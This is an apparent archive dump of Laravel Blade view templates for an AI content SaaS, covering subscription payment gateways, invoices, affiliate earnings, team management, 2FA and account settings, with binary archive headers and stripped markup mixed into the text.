    --}} {{-- {{ __('Change Plan') }}--}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}}
    @endsection @push('script') @endpush PKJW]›Ö¦ˆmmIviews/default/panel/user/finance/subscription/cryptomus-country.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    Selected Country

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @endsection PKJW]›¿N¿�*�*Dviews/default/panel/user/finance/subscription/banktransfer.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    {!! $gateway->bank_account_other ?? 'To facilitate the processing of your transaction, kindly remit your payment directly to our designated bank account. Please ensure to include your Order ID Number as the payment reference to expedite the allocation of funds to your account. Note that services will not be credited until the payment has successfully been received in our bank account. We appreciate your cooperation and thank you for choosing our services.' !!}
    {!! $gateway->bank_account_details ?? "Bank Name:\nAccount Name:\nIBAN:\nBIC/Swift:\nRouting Number:\n" !!}
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial ') }} {{ __('with') }} {{ __('Bank transfer') }} @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} {{ __('Bank transfer') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]Ð*™‰jjCviews/default/panel/user/finance/subscription/freeservice.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    {{ __('Subscribe for free now') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @php $newDiscountedPrice = $plan->price; $taxRate = 0; $taxValue = 0; @endphp @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]­N´(ïï>views/default/panel/user/finance/subscription/paypal.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @php $clientId = $gateway->mode == 'live' ? $gateway->live_client_id : $gateway->sandbox_client_id; $bilig = $billingPlanId == null ? '¤cy=' . currency()->code : '&vault=true&intent=subscription'; @endphp @endpush PKJW]0žÙ½uuEviews/default/panel/user/finance/subscription/iyzico/result.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')

    {{ __('Payment Succesful') }}

    {{ __('Thanks for your purchase! Now, you can explore our AI tools and start generating content in seconds.') }}

    @if ($checkoutresult->getStatus() == 'success') @if ($checkoutresult->getSubscriptionStatus() == 'ACTIVE' || $checkoutresult->getSubscriptionStatus() == 'active')

    {{ __('Subscription is ACTIVE') }}

    {{ __('Reference ID') }}:

    {{ $checkoutresult->getReferenceCode() }}

    {{ __('Please save reference ID') }}
    @else

    {{ __('Subscription status') }} : {{ $checkoutresult->getSubscriptionStatus() }}

    @endif @else

    {{ __('Error Code') }}: {{ $checkoutresult->getErrorCode() }}

    {{ $checkoutresult->getErrorMessage() }}

    @endif

    {{ __('Generate New Content') }}

    @endsection PKJW]‰„™i™%™%Bviews/default/panel/user/finance/subscription/iyzico/pre.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @include('panel.user.finance.coupon.index')

    {{ __('Please enter your billing details') }}

    @csrf

    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection @push('script') @endpush PKJW]_ãD…‚‚Bviews/default/panel/user/finance/subscription/iyzico/pay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @if ($checkoutform->getStatus() == 'success') {!! $checkoutform->getCheckoutFormContent() !!}
    @else

    {{ __('Error Code') }}: {{ $checkoutform->getErrorCode() }}

    {{ $checkoutform->getErrorMessage() }}

    {{ __('If error persist, please contact with us.') }}

    @endif

    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection PKJW]™Ðj™ññ@views/default/panel/user/finance/subscription/razorpay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    {{-- @include('panel.user.finance.coupon.index') --}}
    @csrf
    {{ __('Subscribe') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PKJW]ä…e/ÍÍ@views/default/panel/user/finance/subscription/coingate.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{--
    --}} {{-- {{__('Order ID')}}: --}} {{-- {{$order_id}} --}} {{--
    --}}
    {{ __('Subscribe') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PKJW]èŸCœÜÜ?views/default/panel/user/finance/subscription/yokassa.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]%Üø““ “ Fviews/default/panel/user/finance/partials/singlePageCheckout.blade.phpnu„[µü¤@inject('gatewayControls', 'App\Http\Controllers\Finance\GatewayController') @php $activeGateways = \App\Models\Gateways::where('is_active', 1)->get(); $type = strpos(Route::currentRouteName(), 'startPrepaidPaymentProcess') !== false ? 'startPrepaidPaymentProcess' : 'startSubscriptionProcess'; @endphp @if ($activeGateways->count() > 1)
    @foreach ($activeGateways as $gateway) @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif
    {{ $data['title'] }}
    @endforeach
    @endif PKJW]…*”)  =views/default/panel/user/finance/partials/plan_card.blade.phpnu„[µü¤@php($newDiscountedPrice = $newDiscountedPrice ?? 0)
    $plan->is_featured, ])>

    @lang('Order Summary')

    {{ __($plan->name) }} / {{ $plan->type == 'prepaid' ? __('One time') : __(formatCamelCase($plan->frequency)) }} @lang('Plan')

    @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif
    • {{ __('Subtotal') }}

      {!! displayCurr(currency()->symbol, $plan->price, 0, null) !!}

    • @if ($plan->price - $newDiscountedPrice > 0)
    • {{ __('Discount') }}

      {!! displayDiscountOrCouponName($plan) !!}

      - {!! displayCurr(currency()->symbol, $plan->price - $newDiscountedPrice, null) !!}

    • @endif
    • {{ __('Tax') }} ({{ $taxRate ?? 0 }}% VAT)

      {!! displayCurr(currency()->symbol, $taxValue ?? 0, tax_included: $plan->price_tax_included) !!}


    • {{ __('Total') }}

      {!! displayCurr(currency()->symbol, $plan->price, $taxValue ?? 0, $newDiscountedPrice ?? null, tax_included: $plan->price_tax_included) !!}

    PKJW]1Z€¿…-…-Eviews/default/panel/user/payment/prepaid/payWithTwoCheckout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    {{-- @include('panel.user.finance.coupon.index') --}}
    @csrf
    {{-- --}}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @if ($plan->is_featured == 1)
    @endif
    @if (currencyShouldDisplayOnRight(currency()->symbol)) @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ $plan->price }}{{ currency()->symbol }}   {{ $newDiscountedPrice }}{{ currency()->symbol }} @else {{ $plan->price }} {{ currency()->symbol }} @endif @else @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ currency()->symbol }}{{ $plan->price }}   {{ currency()->symbol }}{{ $newDiscountedPrice }} @else {{ currency()->symbol }}{{ $plan->price }} @endif @endif / {{ __('One time') }}
    {{ __($plan->name) }}
    @endif
    @endsection @push('script') @endpush PKJW]¯¡Ù é,é,Jviews/default/panel/user/payment/subscription/payWithTwoCheckout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    {{-- @include('panel.user.finance.coupon.index') --}}
    @csrf
    {{-- --}}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @if ($plan->is_featured == 1)
    @endif
    @if (currencyShouldDisplayOnRight(currency()->symbol)) @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ $plan->price }}{{ currency()->symbol }}   {{ $newDiscountedPrice }}{{ currency()->symbol }} @else {{ $plan->price }} {{ currency()->symbol }} @endif @else @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ currency()->symbol }}{{ $plan->price }}   {{ currency()->symbol }}{{ $newDiscountedPrice }} @else {{ currency()->symbol }}{{ $plan->price }} @endif @endif / {{ __(formatCamelCase($plan->frequency)) }}
    {{ __($plan->name) }}
    @endif
    @endsection @push('script') @endpush PKJW]îžY\pp7views/default/panel/user/dashboard/affiliates.blade.phpnu„[µü¤@if ($app_is_demo || (($setting->feature_affilates ?? true) && \auth()->user()?->affiliate_status == 1)) @php $userId = auth()->id(); $totalEarning = cache("user:{$userId}:total_earnings") ?: 0; @endphp

    @lang('Invite your friends and earn lifelong recurring commissions. 💸')

    @lang('Simply share your referral link and have your friends sign up through it.')

    {{ __('Commission Rate') }}: {{ $setting->affiliate_commission_percentage }}%

    {{ __('Referral Program') }}: @if ($is_onetime_commission) {{ __('First Purchase') }} @else {{ __('All Purchases') }} @endif

    @lang('Earnings') {{ currency()->symbol }}{{ $app_is_demo ? 380 : ($totalEarning ?? 0) }}

    {{ str()->limit(LaravelLocalization::localizeUrl(url('/') . '/register?aff=' . \Illuminate\Support\Facades\Auth::user()->affiliate_code), 60) }}

    @endif PKJW]Öß"">views/default/panel/user/dashboard/favorite-chatbots.blade.phpnu„[µü¤@php $userId = auth()->id(); $favoriteChabots = cache("user:{$userId}:favorite_chatbots"); @endphp filled($favoriteChabots)]) >

    {{ __('Favorite Chatbots') }}

    {{ __('View All') }}
    @forelse ($favoriteChabots as $chatbot) $chatbot->openaiGeneratorChatCategory?->plan == 'premium', ]) href="{{ route('dashboard.user.openai.chat.chat', $chatbot->openaiGeneratorChatCategory?->slug) }}" >
    @if ($chatbot->openaiGeneratorChatCategory?->slug === 'ai-chat-bot') {{ __($chatbot->openaiGeneratorChatCategory?->name) }} @elseif ($chatbot->openaiGeneratorChatCategory?->image) {{ __($chatbot->openaiGeneratorChatCategory?->name) }} @else {{ __($chatbot->openaiGeneratorChatCategory?->short_name) }} @endif

    {{ $chatbot->openaiGeneratorChatCategory?->name }}

    {{ ucwords(str_replace('_', ' ', $chatbot->openaiGeneratorChatCategory?->description)) }}
    @empty

    {{ __("You don't have favorite chatbot") }}

    @endforelse
    PKJW]êäc9óó<views/default/panel/user/dashboard/account-summary.blade.phpnu„[µü¤@php $userId = auth()->id(); $docs = cache("user:{$userId}:user_docs"); $docsCount = count($docs); $hoursSaved = $docsCount * 3; $textDocsCount = $docs->filter(fn($entity) => $entity->generator?->type == 'text')?->count(); $imageDocsCount = $docs->filter(fn($entity) => $entity->generator?->type == 'image')?->count(); $audioDocsCount = $docs->filter(fn($entity) => $entity->generator?->type == 'audio')?->count(); $otherDocsCount = $docsCount - $textDocsCount - $imageDocsCount - $audioDocsCount; $sum = $textDocsCount + $imageDocsCount + $audioDocsCount; $chatbots = cache("user:{$userId}:user_chatbots"); $chatbotCount = count($chatbots); @endphp

    @lang('Account Summary')

    @lang('Hours Saved')

    {{ $hoursSaved }}

    @lang('Documents')

    {{ $docsCount }}

    @lang('Chatbots')

    {{ $chatbotCount }}


    @lang('Document Overview')

    @lang('View All')
    @lang('Text') {{ $textDocsCount }}
    @lang('Image') {{ $imageDocsCount }}
    @lang('Audio') {{ $audioDocsCount }}
    @lang('Other') {{ $otherDocsCount }}
    PKJW]YS"Ã008views/default/panel/user/orders/invoice-single.blade.phpnu„[µü¤ Invoice

    {{ $setting->site_name }}

    INVOICE

    Order Ref: {{ strtoupper($invoice->order_id) }}

    Order Date/Time: {{ date('j.n.Y - H:i:s', strtotime($invoice->created_at)) }}

    Client Details

    {{ $invoice->user?->fullName() }}

    {{ $invoice->user->email }}

    {{ $invoice->user->phone }}

    {{ $invoice->user->address }}

    @if($invoice->user->postal || $invoice->user->state || $invoice->user->city || $invoice->user->country)

    {{ $invoice->user->postal ? $invoice->user->postal . ', ' : '' }} {{ $invoice->user->state ? $invoice->user->state . ', ' : '' }} {{ $invoice->user->city ? $invoice->user->city . ', ' : '' }} {{ $invoice->user->country ?? '' }}

    @else

    {{__('Not Available')}}

    @endif

    {{ $setting->invoice_name }}

    {{ $setting->invoice_address }}, {{ $setting->invoice_city }}, {{ $setting->invoice_state }}

    {{ $setting->invoice_country }}, {{ $setting->invoice_postal }}

    {{ $setting->invoice_website }}

    {{ $setting->invoice_phone }}

    # Product Quantity Unit Price Total
    1 {{ @$invoice->plan->name ?? 'Archived Plan' }} 1 {{ currency()->symbol }}{{ $invoice->price }} {{ currency()->symbol }}{{ $invoice->price }}
    Subtotal {{ currency()->symbol }}{{ $invoice->price }}
    Vat Rate {{ $invoice->tax_rate }}%
    Vat Due {{ isset($invoice->tax_rate) && $invoice->tax_rate > 0 ? currency()->symbol . $invoice->tax_value : '-' }}
    Total Due {{ currency()->symbol }}{{ $invoice->price }}
    PKJW]8v@/views/default/panel/user/orders/index.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', isset($user) ? $user?->fullName() . " " . ('Orders') : __('My Orders')) @section('titlebar_actions') {{ __('Export All') }} {{ __('Pdf') }} @endsection @section('content')
    {{ __('Order Id') }} {{ __('Status') }} {{ __('Plan Name') }} {{ __('Price') }} {{ __('Tax') }} {{ __('Type') }} {{ __('Date') }} {{ __('Actions') }} @foreach ($list as $entry) {{ $entry->order_id }} @php switch ($entry->status) { case 'Success': $badge_type = 'success'; break; case 'Waiting': $badge_type = 'secondary'; break; case 'Approved': $badge_type = 'success'; break; case 'Rejected': $badge_type = 'danger'; break; default: $badge_type = 'default'; break; } @endphp {{ __($entry->status) }} {{ __(@$entry->plan->name ?? 'Archived') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $entry->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $entry->price }} @endif @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $entry->tax_value ?? 0 }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $entry->tax_value ?? 0 }} @endif {{ __($entry->type) }}

    {{ date('j.n.Y', strtotime($entry->created_at)) }} {{ date('H:i:s', strtotime($entry->created_at)) }}

    @endforeach
    @endsection PKJW]ñ¯³%³%1views/default/panel/user/orders/invoice.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Order #' . \Illuminate\Support\Str::upper($invoice->order_id))) @section('titlebar_actions') @endsection @section('additional_css') @endsection @section('content')

    {{ __('Order Ref') }}               : {{ \Illuminate\Support\Str::upper($invoice->order_id) }}

    {{ __('Order Date/Time') }} : {{ date('j.n.Y', strtotime($invoice->created_at)) }} - {{ date('H:i:s', strtotime($invoice->created_at)) }}

    {{ __('Client') }}

    {{ $invoice->user?->fullName() }}
    {{ $invoice->user->email }}
    {{ $invoice->user->phone }}
    {{ $invoice->user->address }}
    @if($invoice->user->postal || $invoice->user->state || $invoice->user->city || $invoice->user->country) {{ $invoice->user->postal ? $invoice->user->postal . ', ' : '' }} {{ $invoice->user->state ? $invoice->user->state . ', ' : '' }} {{ $invoice->user->city ? $invoice->user->city . ', ' : '' }} {{ $invoice->user->country ?? '' }} @else {{__('Not Available')}} @endif

    {{ $setting->invoice_name }}

    {{ $setting->invoice_address }}
    {{ $setting->invoice_state }}{{ isset($setting->invoice_city) ? ',' : '' }} {{ $setting->invoice_city }}
    {{ $setting->invoice_country }}{{ isset($setting->invoice_city) ? ',' : '' }} {{ $setting->invoice_postal }}
    {{ $setting->invoice_website }}
    {{ $setting->invoice_phone }}
    @if (isset($invoice->tax_rate) and $invoice->tax_rate > 0) @else @endif
    {{ __('Product') }} {{ __('Qnt') }} {{ __('Unit') }} {{ __('Amount') }}
    1

    {{ @$invoice->plan->name ?? __('Archived Plan') }}

    @if ($invoice->type == 'subscription') {{ __('Subscription Plan Payment') }} @else {{ __('Prepaid Plan Payment') }} @endif
    1 @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price }} @endif @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price }} @endif
    {{ __('Subtotal') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price - $invoice->tax_value }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price - $invoice->tax_value }} @endif
    {{ __('Vat Rate') }} {{ $invoice->tax_rate }}%
    {{ __('Vat Due') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->tax_value }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->tax_value }} @endif -
    {{ __('Total Due') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price }} @endif

    {{ __('Thank you very much for doing business with us. We look forward to working with you again!') }}

    @endsection PKJW]å©ZÚ��-views/default/panel/user/team/index.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Team Members')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.team.partials.overview') @include('panel.user.team.partials.invite-a-friend') @include('panel.user.team.partials.team-members')
    @endsection PKJW]4^×¥'"'",views/default/panel/user/team/edit.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Team')) @section('content')
    @if ($user && $user?->avatar) @endif

    {{ $user?->fullName() }}

    @if ($member->joined_at)

    @lang('Member Since') {{ $member->joined_at->format('M d, Y') }}

    @endif @lang(strtoupper($member->status))

    @lang('Your Team Plan')

    {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{-- --}} {{-- {{ $remaining_words }}--}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{-- --}} {{-- {{ $remaining_images }}--}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}}

    1@lang('Manage User')

    @csrf
    @error('role')
    {{ $message }}
    @enderror
    @error('status')
    {{ $message }}
    @enderror
    @endsection @push('script') @endpush PKJW]ºS¯xä ä @views/default/panel/user/team/partials/invite-a-friend.blade.phpnu„[µü¤

    @lang('How it Works')

    @lang('Adding and overseeing team members is a straightforward process. Here\'s a quick example to initiate collaboration within seconds.')


    1. 1 @lang('Send an invitation link to your team members.')
    2. 2 @lang('Let them register with their email address.')
    3. 3 @lang('Once they confirm their account they will be added to your team.')
    Team

    @lang('Add your team members’ email address
    to start collaborating.') 📧

    @csrf @if ($app_is_demo) @lang('Invite Friends') @else @lang('Invite Friends') @endif
    PKJW]z> †T T 9views/default/panel/user/team/partials/overview.blade.phpnu„[µü¤

    @lang('Invite your colleagues and
    collaborators to join your team and
    maximize the benefits of AI.')

    @lang('Add a New Member') @if (!$subscription || $user?->relationPlan?->is_team_plan == 0) @lang('Upgrade Team Plan') @endif

    @lang('Team Members')

    {{ $app_is_demo ? 4 : $team->members->count() }}

    @lang('Allowed Seats'): {{ $app_is_demo ? 2 : $team->allow_seats }}

    PKJW]wnü ü =views/default/panel/user/team/partials/team-members.blade.phpnu„[µü¤ @lang('Name') @lang('Status') @lang('Joined') @lang('Role') @lang('Actions') @foreach ($members as $member) @if ($member->user_id)

    {{ $member?->user?->name . ' ' . $member?->user?->surname }}

    @endif

    {{ $member->email }}

    @lang($member->status) @if ($member->joined_at)

    {{ $member->joined_at->format('M d, Y') }} {{ $member->joined_at->format('H:i:s') }}

    @endif {{ $member->role ?: __('unknown') }} @endforeach
    PKJW]¬Klï!%!%1views/default/panel/user/settings/index.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('My Account')) @section('content')

    @lang('Change Password')

    {{ __('Please leave empty if you don’t want to change your password.') }}

    @if ($app_is_demo and Auth::user()->isAdmin()) {{ __('Save') }} @else @endif

    @lang('Delete Account')

    {{ __('If you no longer want to use your account, you can request to delete it.') }}

    @endsection @push('script') @endpush PKJW]ØP™Á––5views/default/panel/user/settings/google2fa.blade.phpnu„[µü¤@extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', __('Two Factor Authentication')) @section('titlebar_actions', '') @section('settings') @if (Google2FA::isActivated())

    @lang('2FA is activated!')

    {{ __('Deactivate 2FA') }}
    @else
    @csrf

    @lang('Enable 2FA')

    @lang("To enable 2FA, you'll need the Google Authenticator App. You can download it from the App Store or Google PlayStore.")

    @lang("Use your phone's camera to scan the QR Code below. If scanning isn't an option, you can manually input the key into your app.") @lang('Manual Key:') {!! $secret !!}

    {!! $qrCode !!}

    @lang('Please input the 6-digit verification code displayed on your Google Authenticator app to finalize the process and activate 2FA.')

    {{ __('Enable 2FA') }}
    @endif @endsection @push('script') @endpush PKJW]› ùØ Ø 9views/default/panel/user/settings/deleteAccount.blade.phpnu„[µü¤@extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', __('Request Account Deletion')) @section('titlebar_actions', '') @section('settings')

    {{ __('Request Account Deletion') }}

    {{ __('Are you sure you want to delete the account linked to ') . auth()->user()->email . __(' ?') }}

    {{ __('Request Account Deletion') }}
    @endsection @push('script') @endpush PKJW]ñœoöÔ'Ô'2views/default/panel/user/affiliate/index.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Affiliate')) @section('titlebar_actions') {{ __('Affilated Users') }} @endsection @section('content')

    {{ __('Invite your friends and earn lifelong recurring commissions from every purchase they make') }}.�

    {{ __('Affiliate Link') }}

    {{ __('Earnings') }}

    @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $totalEarnings - $totalWithdrawal }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ max(0, $totalEarnings - $totalWithdrawal) }} @endif

    {{ __('Commission Rate') }}: {{ $setting->affiliate_commission_percentage }}%

    {{ __('Referral Program') }}: @if ($is_onetime_commission) {{ __('First Purchase') }} @else {{ __('All Purchases') }} @endif

    {{ __('How it Works') }}

    1. 1 {!! __('You send your invitation link to your friends.') !!}
    2. 2 {!! __('They subscribe to a paid plan by using your refferral link.') !!}
    3. 3 @if ($is_onetime_commission) {!! __('From their first purchase, you will begin earning one-time commissions.') !!} @else {!! __('From their first purchase, you will begin earning recurring commissions.') !!} @endif
    {{ __('Send') }}

    {{ __('Withdrawal Form') }}

    {{ Auth::user()->affiliate_bank_account ?? null }} {{ __('Send Request') }}

    {{ __('Withdrawal Requests') }}

    {{ __('No') }} {{ __('Amount') }} {{ __('Status') }} {{ __('Date') }} @forelse ($list2 as $entry) AFF-WTHDRWL-{{ $entry->id }} {{ $entry->amount }} {{ $entry->status }} {{ $entry->created_at }} @empty {{ __('You have no withdrawal request') }} @endforelse
    @endsection @push('script') @endpush PKJW](YL+ZZ2views/default/panel/user/affiliate/users.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Affiliated Users')) @section('titlebar_actions', '') @section('content')

    {{ __('Users') }}

    {{ __('Full Name') }} {{ __('Amount') }} {{ __('Status') }} {{ __('Date') }} @forelse ($list as $entry) {{ $entry->name . ' ' . $entry->surname }} {{ $entry->amount }} {{ $entry->status }} {{ $entry->created_at }} @empty {{ __('You have no affiliate users') }} @endforelse
    @endsection @push('script') @endpush PKJW]Ü�…I££1views/default/panel/user/companies/list.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Brand Voice')) @section('titlebar_subtitle', __('Generate AI content exclusive to your brand and eliminate the need for repetitive introductions of your company.')) @section('titlebar_actions') {{ __('New Company') }} @endsection @section('content')
    {{ __('Name') }} {{ __('Action') }} @foreach ($list as $entry) {{ $entry->name }} @if ($app_is_demo) @else @endif @endforeach
    @endsection PKJW]T§ _”Q”Q1views/default/panel/user/companies/form.blade.phpnu„[µü¤@php $voice_tones = ['Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive']; @endphp @extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', __('Brand Voice')) @section('titlebar_subtitle', __('Generate AI content exclusive to your brand and eliminate the need for repetitive introductions of your company.')) @section('titlebar_actions')
    {{ __('Manage Voices') }} {{ __('New Company') }}
    @endsection @section('settings')
    @csrf @method($method) @foreach (explode(',', $item?->industry) ?? [] as $industry) @if ($industry == null) @continue @endif @endforeach {{ $item?->description }} @foreach ($voice_tones as $tone) @endforeach {{ $item?->target_audience }}